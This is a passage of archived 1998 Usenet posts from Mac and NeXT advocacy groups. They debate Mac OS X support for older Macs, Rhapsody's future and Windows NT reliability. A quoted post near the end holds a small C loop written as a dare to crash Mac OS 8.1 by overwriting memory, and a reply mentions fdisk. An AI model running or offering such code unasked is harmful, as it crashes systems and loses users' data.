Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 21 Jul 1998 11:21:17 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980721111021.27821A-100000@ux10.cso.uiuc.edu>
References: <MPG.101d9ceeeab350e89899d4@news.supernews.com> <B1D93BDE-E7B9B@206.165.43.162> <joe.ragosta-2107980840590001@0.0.0.0>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <joe.ragosta-2107980840590001@0.0.0.0>
On Tue, 21 Jul 1998, Joe Ragosta wrote:
> In article <B1D93BDE-E7B9B@206.165.43.162>, "Lawson English"
> <english@primenet.com> wrote:
>
> > Donald Brown <don.brown@cesoft.com> said:
> >
> > >OS-X is a gamble. It's a hell of a project to pull off. The survival of
> > >the company depends on it.
> >
> > Bull. OS-X is Rhapsody with a new kernel running on a single family of
> > processors and motherboards with a few new low-level APIs running on top of
> > that kernel (most/most of which are the low-level APIs that the Yellow Box
> > framework itself will be using).
>
> And an entirely new set of APIs (Carbon).
Which was already demoed at WWDC which probably came from QTML which has
been ported to Rhapsody already. (I'm not suggesting that Carbon will be
trivial because of this, but it is not an entirely new set of API
functions (Mac OS), and there is a base to work off of (QTML probably)).
> And a new driver architecture.
Um, I could be wrong, but that comes with the new kernel which has been
ported to many different hardware platforms. The I/O Kit (which is the new
Driver Kit?) is supposed to make it (relatively) easy to create drivers.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 21 Jul 1998 18:28:32 -0500
Organization: Prairie Group
Message-ID: <MPG.101ee01f8c39a24d9899d8@news.supernews.com>
References: <MPG.101d9ceeeab350e89899d4@news.supernews.com> <B1D93BDE-E7B9B@206.165.43.162> <joe.ragosta-2107980840590001@0.0.0.0> <gmgraves-2107981125360001@sf-pm5-14-78.dialup.slip.net>
In article <gmgraves-2107981125360001@sf-pm5-14-78.dialup.slip.net>,
gmgraves@slip.net says...
> > And an entirely new set of APIs (Carbon).
>
> No, its not an entirely new set of APIs. Carbon replaces at a maximum
> about 25% of the APIs used in the old Mac system. That means that more
> than 75% of them are the same. In the case of many applications, only
> 10% or less of the code has to be changed in order to support the new
> APIs
>
Not a new set of APIs, true. But new implementation of those APIs.
Converting all those APIs to PPC. Checking all the tweaked old
implementations of the APIS for different motherboards to one coherant
combined new implementation.
Donald
Date: Tue, 21 Jul 1998 12:56:07 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2107981256070001@wil132.dol.net>
References: <rmcassid-1307981232230001@dante.eng.uci.edu> <B1CFE637-1A286@206.165.43.144> <6oe63d$2r6$1@vixen.cso.uiuc.edu> <Jonas.Palm-1507981217060001@jp.orgk1.dial.lu.se> <6ot3cc$n4h$4@ironhorse.plsys.co.uk> <Jonas.Palm-2007981316580001@jp.orgk1.dial.lu.se> <B1D929AE-A3562@206.165.43.162> <joe.ragosta-2007982116060001@elk57.dol.net> <1dcj27z.9jrqo43jtddsN@du137-242.ppp.algonet.se>
In article <1dcj27z.9jrqo43jtddsN@du137-242.ppp.algonet.se>,
qwerty.x@algonet.se (Magnus Thoor) wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> > In article <B1D929AE-A3562@206.165.43.162>, "Lawson English"
> > <english@primenet.com> wrote:
> >
> > > Jonas Palm <Jonas.Palm@orgk1.lu.se> said:
> > >
> > > I bought a 7300 about 3-4 months ago in order to do MacOS 7.x, MacOS 8.x,
> > > Rhapsody and BeOS development. I *assumed* that the ability to run
> > > Rhapsody, the basis for the next-generation OS from Apple, would give me
> > > the ability to run the next-generation OS from Apple.
> > >
> > > I was wrong.
> >
> > Why is that wrong? Every indication is that the 7300 will run Rhapsody
> > just fine.
> >
>
> Only thing is that Rhapsody is dead. Apple killed it and replaced it
> with OS X.
Rhapsody 1.0 is coming out this fall. That's hardly dead.
>
> The fact that they are going to have an open coffin on the funeral
> doesn't change the fact that it's dead.
>
> Sure they are going to release it, but likely very few (if any)
> developers will bother with it since it's a dead end anyway.
Nope. If you write a YB app for Rhapsody, it will run fine on Mac OS X.
>
> Yellow applications for OS X won't run on Rhapsody (or most likely
> won't) with it having a new graphics system and all.
Wrong. That's the beauty of Yellow Box. The graphics subsystem is hidden
if you don't want to tweak it. Write a YB app for Rhapsody and it should
run on Mac OS X with little more than a recompile.
>
> Apple has made clear that Rhapsody 1.0 will be a dead end and therefore
> once again betrayed their user base.
>
> How much more do they think we will take?
Rhapsody 1.0 isn't a dead end in any sense except 2:
1. If you're planning on Rhapsody for Intel, then it's a dead end.
2. If you're writing utilities to tweak DPS, then it's a dead end.
Other than that, Rhapsody apps will work just fine in Mac OS X. And
probably Mac OS XI, XII, and so on, as well.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: samueljackson@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Tue, 21 Jul 1998 17:05:55 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p2hpj$rcg$1@nnrp1.dejanews.com>
References: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ojqpt$u6p$1@samsara0.mindspring.com> <slrn6qs9l9.860.sal@panix3.panix.com> <35AE2C81.AB098FF4@ericsson.com> <dHrr1.4009$24.23232568@news.itd.umich.edu> <35AE4D48.B45E4579@ericsson.com> <Jeur1.4033$24.23345884@news.itd.umich.edu> <35AE772F.B35DEA51@ericsson.com> <slrn6qt8uh.7n9.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35AEF495.EEEF2844@nstar.net> <slrn6r6m6e.9fc.sal@panix3.panix.com> <35B42512.B4309896@nstar.net> <35b437a1.0@news.depaul.edu>
In article <35b437a1.0@news.depaul.edu>,
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> Michael Peck <mjpeck@nstar.net> wrote:
>
> > Lawsuits are the byproduct of a system wherein these voluntary
> > relationships cannot exist because of regulatory nooses, and offended
> > parties are forced to sue for damages rather than practice vigilance and
> > seek other suppliers as a matter of foresight when necessary.
>
> ROTFL! What a simple, black-and-white world you live in, Michael.
>
> A world where businesses are happy to lift the kimono to all comers,
> where all parties are equals,
Cute strawman. I never claimed anything of the sort. You seem like an
articulate sort of man; I'm sure you could just devastate my arguments
without resorting to airy soliloquys on nothing at all. Give it a shot.
> where money and greed have no place,
It is precisely financial self-interest that ensures the proper working of the
free market.
[cut]
> Sorry, the real world just isn't that simple.
I daresay it isn't. Which begs the question: why did you bring it up?
> Of course, it's much
> easier when you've got a set of rules memorized, even if they
> aren't practical.
And it's certainly much easier for you, I'm sure, when you've got a sarcastic
tone memorized, even if it doesn't have anything of value to communicate.
Were you going to get around to making a point or providing some information,
or have I been the subject of another Hendry pout?
> > Despots who compete for favor with a skeptical and vigilant public?
>
> A public which, presumably, has access to perfect information about
> all topics.
"Perfect information"? "Perfect" is a word so beloved to the anointed; it can
mean just about anything they like it to mean, and describe any ideal which
they hold up as worthy of public pursuit. At the same time, it's useful when
defending the colossal blunders of public action ("nobody's perfect", "in a
perfect world...").
At any rate, nobody ever had to demonstrate that a system was "perfect" to
claim that it performed as described. I don't think anyone knows what a
"perfect" system, or even a "perfect" component of said system, would look
like.
> (And time to evaluate it all.) A public served by
> corporations which do not lie and/or conceal information,
"Conceal information". This is great stuff; I took college courses on how to
speak in loaded terms, but I never got this good before I gave up on the
whole thing as fundamentally dishonest. For instance, suppose you were to ask
me what I feed my children. To characterize my refusal to answer as
"concealing information" might communicate the wrong message to the wrong
sort of people. If you were sufficiently ambiguous and suggestive, you might
even be able to get CPS to show up on my doorstep. I'm sure you could be
quite proud of having served the public thusly.
> corporations run by saints for the good of the people.
[chuckle]
> And this utopia is to be found where, exactly? Has such a
> society ever existed? Or is it as illusory as the world
> where communism works?
Are you asking me? It's _your_ made-up world, go find it yourself, silly!
> The more likely situation is 'despots who wield money and force
> against the cowed and weak public while enriching themselves
> and their cronies'.
Ah, the Macchiavellian ideal. What was that book called, something like "The
President" or something? Maybe it was "The Prince"...
MJP
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
From: Corey <corey@virtual-impact.com>
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
In-Reply-To: <joe.ragosta-2107980820070001@0.0.0.0>
Message-ID: <Pine.LNX.3.95.980721102958.8608c-100000@rainier.virtual-impact.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p1hlq$f44$2@news10.ispnews.com> <6p1ill$6s3$1@bunyip.cc.uq.edu.au> <6p1l6e$11l$1@news2.ispnews.com> <joe.ragosta-2107980820070001@0.0.0.0>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Date: Tue, 21 Jul 1998 17:39:52 GMT
NNTP-Posting-Date: Tue, 21 Jul 1998 10:39:52 PDT
Organization: @Work Internet powered by @Home Network
On Tue, 21 Jul 1998, Joe Ragosta wrote:
> In article <6p1l6e$11l$1@news2.ispnews.com>, Earl Malmrose
>
> Hmmm. I notice that when someone wants to criticize Mac OS for its fixed
> VM swap file, it's a very bad thing. But with BeOS, it's a pretty small
> gripe.
>
Well mainly probably because the BeOS is still under development, and
so, seeing as it will very likely be changed once enough people
*have* griped about it, thats what makes it a small gripe at this
point in time. What's the likely-hood of Apple changing it's fixed
vmem space?
Like I've mentioned before, I'm no programmer - and I have no idea
what apples developers program is like - but I gather one of the
things that make BeOS so cool to develop under is that people seem
to have direct access to those in charge of designing the OS and
that user input actually goes to future changes in the development
of the OS itself - this is kinda cool.
Beers,
Corey
corey@virtual-impact.com
Beers,
Corey
corey@virtual-impact.com
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 21 Jul 1998 23:54:14 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6p39n6$654$1@lwnws01.ne.highway1.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <MPG.101edc88c6da7b4a9899d6@news.supernews.com>
don.brown@cesoft.com (Donald Brown) wrote:
> In article <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se>,
> qwerty.x@algonet.se says...
> > Nice try. The difference is that your example shows that it's possible
> > to intentionally do damage to any system (what else is new?). While my
> > example shows that 8.1 is very venerable to bugs in applications,
> > letting them freely wreak havoc with the entire system. That's simply
> > not acceptable by today's standards.
> >
> Given that the OSes in greatest use are Win 3.1, Win95, and MacOS, all of
> which have that weakness, there are a lot of people who find it
> acceptable.
>
> Would it be better if that weakness wasn't there? Absolutely. But that
> doesn't make the OS unacceptable.
Billions and billions of people across the globe have their human rights
consistently and severly violated. The fact that it continues to occur does
not mean it's acceptable. The same for all the lameness in the macOS, et al.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 21 Jul 98 16:58:46 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1DA7956-48FFC@206.165.43.17>
References: <joe.ragosta-2007982116060001@elk57.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 21 Jul 1998 23:58:24 GMT
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Joe Ragosta <joe.ragosta@dol.net> said:
>Oh, you mean the one after that. Just how many future software versions
>running on your 7300 is the _right_ number? Where does Apple draw the
>line?
OK, so now we can assume that Apple can rightfully, legally, ethically and
morally introduce a new OS that will only run with the latest generation
hardware?
Where does Apple draw the line, Joe?
Where I, and my lawyers (part of the almost-certain-to-happen
class-action-suit) claim that it does, if a judge rules in our favor.
Here's my challenge to Apple:
I am willing to pay $50 MORE for a PCI version of MacOS X than for the G3
version.
How many are willing to do the same?
Betcha that even if 1 million of us said that we were willing to pay $50
more, that Apple would still say "no" to a pre-G3 version of MacOS X
because it's not about expenses, but about control.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: NT Takes Down the Navy, Sleep Well, America...
Date: Tue, 21 Jul 1998 17:09:35 -0700
Organization: University of British Columbia
Message-ID: <1dcj03r.j9ies11bazb62N@p043.intchg1.net.ubc.ca>
References: <6p2iih$6k3@bgtnsc03.worldnet.att.net> <6p2kcq$kht$2@supernews.com> <6p2pia$rp2$1@nnrp1.snfc21.pbi.net>
Mark Micklich <SRFPCI1@pacbell.net> wrote, among other things:
> The problem is not NT -- it's poor engineering design. I'm not defending
> NT, but if MacOS was used, the exact same situation could have happened and
> JoeR would immediately jump in with the same defense I just described. If
> you don't have complete exception-handling, crashes will happen. There are
> many stories of this nature, and many of them have nothing to do with NT.
The idea of mission-critical USN stuff running on, say, Mac OS 8.1 is
amusing, to put it mildly! There are obvious reasons why that would, um,
not be done.
But not only Mac-heads are pointing the finger at NT in this instance.
Later in the article cited, we read
Ron Redman, deputy technical director of the Fleet
Introduction Division of the Aegis Program Executive Office,
said there have been numerous software failures associated
with NT aboard the Yorktown.
[...]
"Because of politics, some things are being forced on us
that without political pressure we might not do, like
Windows NT," Redman said. "If it were up to me I probably
would not have used Windows NT in this particular
application. If we used Unix, we would have a system that
has less of a tendency to go down."
Who knows? The fellow may just have a point. ;^)
--
Bruce Bennett
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 22 Jul 1998 00:10:27 GMT
Organization: I don't think so
Message-ID: <slrn6rabo0.5q8.jason@jhste1.dyn.ml.org>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p39n6$654$1@lwnws01.ne.highway1.com>
John Kheit posted the following to comp.sys.mac.advocacy:
>Billions and billions of people across the globe have their human rights
>consistently and severly violated. The fact that it continues to occur does
>not mean it's acceptable. The same for all the lameness in the macOS, et al.
But how do you _really_ feel about the MacOS, John? ;)
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 21 Jul 98 17:16:23 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1DA7D74-587C6@206.165.43.17>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> said:
>
>A significant change to the kernel, especially involving deep
architectural
>changes due to new sorts of SMP is a tougher, global, issue. And it's one
>which is directly on the critical path to the new product.
>
>:This is a marketing issue, far, FAR more than it is an
>:engineering/cost-containment issue.
Are you suggesting that it is harder to test MacOS X for Pre-G3 Macs than
it is to test MacOS 8.x for the 68040, NuBux, Pre-G3 and G3 Macs?
I don't think so...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 22 Jul 1998 00:19:25 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6p3b6d$83r$1@camel18.mindspring.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com>
Mime-Version: 1.0
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In article <6p111m$h87$1@unlnews.unl.edu> Greg Berigan,
gberigan@cse.unl.edu writes:
>Failure to honor a promise isn't lying, but it isn't something easily
>tolerated either.
>
>I've stuck with Apple even after purchasing the Apple IIe and Apple
>IIgs. I bought Mac software before I even had a Mac to run it. When I
>finally bought one, I got the 7500. I was sold on the PCI bus, PPC
>processor, and especially the upgradeability.
>
>But if upgrading this machine with a G3 processor still won't get me Mac
>OS X, leaving me out of not only a new OS but also a whole new family of
>programs which require that environment, I'm not sure if I'll be able to
>bring myself to buy Apple anymore.
And that 7500 was new in what year? 1995. So, four years later, it
won't be supported.
Yes, Apple ought to support it, but the machine is four years old.
Matthew Cromer
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 21 Jul 98 17:03:38 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1DA8186-67C8F@206.165.43.17>
References: <35b3f756.0@news.depaul.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
>
>And, those OS/X fixes would have to be tested, and fixed, and
>maintained, and re-fixed, and debugged, and regression-tested, etc,
>as the OS continues to develop, which is an enormous amount of work
>when multiplied by all the different models.
Er, how many models are we talking about here?
There was only one or two licensed motherboard-designs for ALL PCI Macs and
clones. ALL Macs and clones used those designs. They were tested by Apple
and officially approved by Apple.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: qwerty.x@algonet.se (Magnus Thoor)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 22 Jul 1998 02:34:00 +0200
Organization: Algonet/Tninet
Message-ID: <1dcjl9h.107erdvyoaij1N@du137-242.ppp.algonet.se>
References: <rmcassid-1307981232230001@dante.eng.uci.edu> <B1CFE637-1A286@206.165.43.144> <6oe63d$2r6$1@vixen.cso.uiuc.edu> <Jonas.Palm-1507981217060001@jp.orgk1.dial.lu.se> <6ot3cc$n4h$4@ironhorse.plsys.co.uk> <Jonas.Palm-2007981316580001@jp.orgk1.dial.lu.se> <B1D929AE-A3562@206.165.43.162> <joe.ragosta-2007982116060001@elk57.dol.net> <1dcj27z.9jrqo43jtddsN@du137-242.ppp.algonet.se> <joe.ragosta-2107981256070001@wil132.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
> In article <1dcj27z.9jrqo43jtddsN@du137-242.ppp.algonet.se>,
> qwerty.x@algonet.se (Magnus Thoor) wrote:
>
> > Only thing is that Rhapsody is dead. Apple killed it and replaced it
> > with OS X.
>
[snip]
>
> Rhapsody 1.0 isn't a dead end in any sense except 2:
>
> 1. If you're planning on Rhapsody for Intel, then it's a dead end.
Why is that different then for the first generation PCI macs?
> 2. If you're writing utilities to tweak DPS, then it's a dead end.
>
> Other than that, Rhapsody apps will work just fine in Mac OS X. And
> probably Mac OS XI, XII, and so on, as well.
That's not what I heard but if it's true things look a *little*
brighter.
I whish Apple would come out with all this in the open instead of just
giving us food for FUD.
Magnus
--
Delete spamblocker '.x' to reply via email
From: qwerty.x@algonet.se (Magnus Thoor)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 22 Jul 1998 02:34:23 +0200
Organization: Algonet/Tninet
Message-ID: <1dcjp6z.90onja1xhjce9N@du137-242.ppp.algonet.se>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <1dcj35g.1mmhw2af7vugwN@du137-242.ppp.algonet.se> <not-2107981133460001@ip-26-140.phx.primenet.com>
Michael M. Eilers <not@a.valid.email.add> wrote:
> In article <1dcj35g.1mmhw2af7vugwN@du137-242.ppp.algonet.se>,
> qwerty.x@algonet.se (Magnus Thoor) wrote:
>
> > No, but Apple promised that my machine would run their next generation
> > OS. Now it won't.
>
> I'm really curious about this "promise" folks seems to be citing again and
> again. I've been a Mac user for 9 years and I never got such a promise
Amelio and company said shortly after NeXT was purchased that all Macs
shipping on and after 97-01-01 would run Apple's "next generation OS" (I
could probably dig up a quote from Apple's web-pages but I'm typing this
off-line). They did promise it alright.
> with my hardware when I bought it. I bought a 7500 just before Rhapsody
> was announced, and by every indication Mac OS X will probably run on it.
Unfortunately it looks like every indication points in the direction
that OS X won't run on your 7500. Ken Bereskin said that they are not
attempting to make OS X run on pre G3 and that it would be pure luck if
any first generation PCI Mac would happen to run OS X. Check out
macintouch for the quote.
> Apple never "promised" me anything about next-generation OS, other than
> one would be written some day. Can anyone find a statement, in wiritng,
> sent to all Mac users, that said "these xxx models will be supported with
> our future next-generation OS?"
>
That's exactly what they said. "All Macs shipping on or after 97-01-01
will be able to run our next generation OS."
> Well, then, how can Apple break a promise it never made?
>
> I'm not blindly pro-Apple. I was extremely pissed when Copland was killed,
> and not thrilled when Rhapsody was announced (it sounded too much like
I agree that there have been too many crashed attempts at getting the
modern OS right. I've managed to keep content so far because I have
bought into Apple's salespitch. But when they are changing the terms,
well if no-one noticed yet, let's just say it pisses me off.
> have every right to sue. At the very most Apple built up your hopes just a
> little and then disappointed you--but that is far from a broken promise
> or a betrayal.
>
It is actually a broken promise. And even if their lawyers somehow can
manage to twist them free legally (and I'm not thinking of suing anyway)
I still feel betrayed. And I think righteously so.
> Bill Gates has broken hundreds of promises to his users--you don't see a
> grassroots rebellion developing, do you? The last three presidents of the
> US combined broke almost every single campaign promise they made, yet we
> haven't impeached, assasinated or indicted them yet--we even re-elected 2
> of them to second terms. Why are your expectations so different with
> Apple? Why do you set yourself up for a fall, and then blame the other
> guy?
>
Actually I'd rather say that Apple set, everyone that believed them, up
for a fall.
> > > > The truth in the matter is that Apple simple has gotten greedy, and I'm
> > > > pretty sure it's going to backfire on them.
> > >
> > > Oh yeah. Tell it to the stock price, baby. I bought Apple stock at *12*,
> > > dammit--now it is $36!!
>
> > We'll se where it's at in '99 when Apple has an even smaller marketshare
> > due to shafting their loyal users.
>
> If you're such a doomsayer, why don't you get out right now? 400 MHz PIIs
I'm not a doomsayer. I'm just noticing how many Mac-users feel betrayed
by the latest events. I'd say that many of the people that bought first
gen. PCI Macs were the die-hard-Mac-users -- afterall there weren't to
many others around to buy Macs at that time with Apple bleeding money
and getting bashed in the press. Now many of these loyal users (judging
from the traffic in these news-group anyway) feels betrayed. I don't
know about you, but to me that spells bad news for Apple.
> are going for $3000 right now, absolutely loaded. Go to it. Enjoy. Perhaps
> then you finally realize why you stuck with Apple for so long previously.
>
I'm not ready to get out just yet. Despite everything, I still have a
tiny hope that Apple will come to its senses and deliver OS X on pre G3.
> > > And they are all running 7.6.1.
>
> > Oh yeah, and in Africa some tribes cook their food over open fire and
> > newertheless seems to be doing allright.
>
> Thanks for making my point for me.
Damn! ;-)
I was going to say that "that doesn't mean that others would be content
doing the same" but managed to goof up instead.
>Having the latest and greatest is a
> *choice*--not a right or a priveledge. You have to pay to play, people!
I'd agree with you if it wasn't for Apple actually having promised us
their next generation OS.
It's especially annoying since there seems to be no technical reason for
not delivering on their promises. Speculation: They simple want to give
the clones a final stab in the back and/or sell more G3's.
Magnus
--
Delete spamblocker '.x' to reply via email
From: qwerty.x@algonet.se (Magnus Thoor)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 22 Jul 1998 02:33:41 +0200
Organization: Algonet/Tninet
Message-ID: <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote:
> In article <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se>,
> qwerty.x@algonet.se (Magnus Thoor) wrote:
>
> > Joe Ragosta <joe.ragosta@dol.net> wrote:
> >
> > > > Want prof? Try this on your "stable 8.1":
> > > >
> > > > main() {
> > > > long*addr=0;
> > > > while(1) {
> > > > *addr++=1;
> > > > }
> > > > }
> > > >
> > > > Don't forget to save any unsaved work before....
> > >
> > > BFD.
> > >
> > > Try this:
> > >
> > > fdisk
> > >
> > > It's possible to intentionally mess up any system.
> >
> > Nice try. The difference is that your example shows that it's possible
> > to intentionally do damage to any system (what else is new?). While my
> > example shows that 8.1 is very venerable to bugs in applications,
> > letting them freely wreak havoc with the entire system. That's simply
> > not acceptable by today's standards.
>
> Which do you think is more likely--for an end-user to do something
> incredibly stupid or for a programmer to use the code snippet you posted
> above and not catch it?
Which do you think is more likely--for an end-user to do something
